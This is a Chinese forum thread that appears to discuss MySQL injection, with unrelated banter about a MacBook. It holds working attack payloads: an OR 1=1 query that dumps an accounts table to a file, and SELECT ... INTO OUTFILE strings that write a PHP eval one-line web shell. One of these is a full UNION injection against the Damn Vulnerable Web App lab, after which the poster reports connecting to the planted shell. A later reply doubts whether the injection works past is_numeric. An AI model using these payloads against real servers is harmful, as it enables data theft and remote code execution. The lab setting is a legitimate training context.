Mysql注入小结：


你用的macbook？

看见电池了 还是笔记本 有钱人 8000多买个集显真那么好吗？

整天背着3kg的本本跑来跑去累死了...

减肥 锻炼身体 而且3KG不重啊

回复5楼：
每天上下五楼四遍试试＝＝

无压力

爪机党

试问LZ，这条语句导出的结果是什么

SELECT * from accounts where username='' Or 1=1 into outfile '/Applications/1234.txt'
查询表accounts里面所有的字段，需要满足的条件是username为NULL或1=1
因为1=1这个条件满足表内的每一行
也就会将acounts的内容 写入1234.txt

当然也可以更直接一些
select '<?php eval($_POST[cmd])?>' into outfile '/Applications/1.php'

不是买的，小伙子。

嗯。。。
只有那一句导出的话貌似有点没头没尾的，建表建字段插入内容，导出，这就写了一步。。。...

送的。。。

经常事 一点也不觉得重

围观富B 我仇富

这个是可以一步完成的，为什么要建表再建字段，再赋值，再outfile呢？
我给你一个例子：
以Damn Vulnerable Web App的Sql injection测试模块为例：
当我们提交id时，将会返回用户的First name和Surname
页面代码如下：
<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
}
?>
PS:我已经关闭了PHPIDS script level:low
SQL query是：SELECT first_name, last_name FROM users WHERE user_id = '$id'
对吧？
只是有个单引号需要我们去匹配。
构造语句：
SELECT first_name, last_name FROM users WHERE user_id = '-1' union Select '<?phpeval($_POST[cmd])?>','/* test */' into outfile '/Applications/1.php' -- '
多余的单引号，看你的喜好也可以选择其它注释方式
成功导出一句话木马到指定目录。
用客户端成功连接一句话木马。
你所谓的步骤不多余么？


这个地方有is_numeric还能注入吗？

马甲否？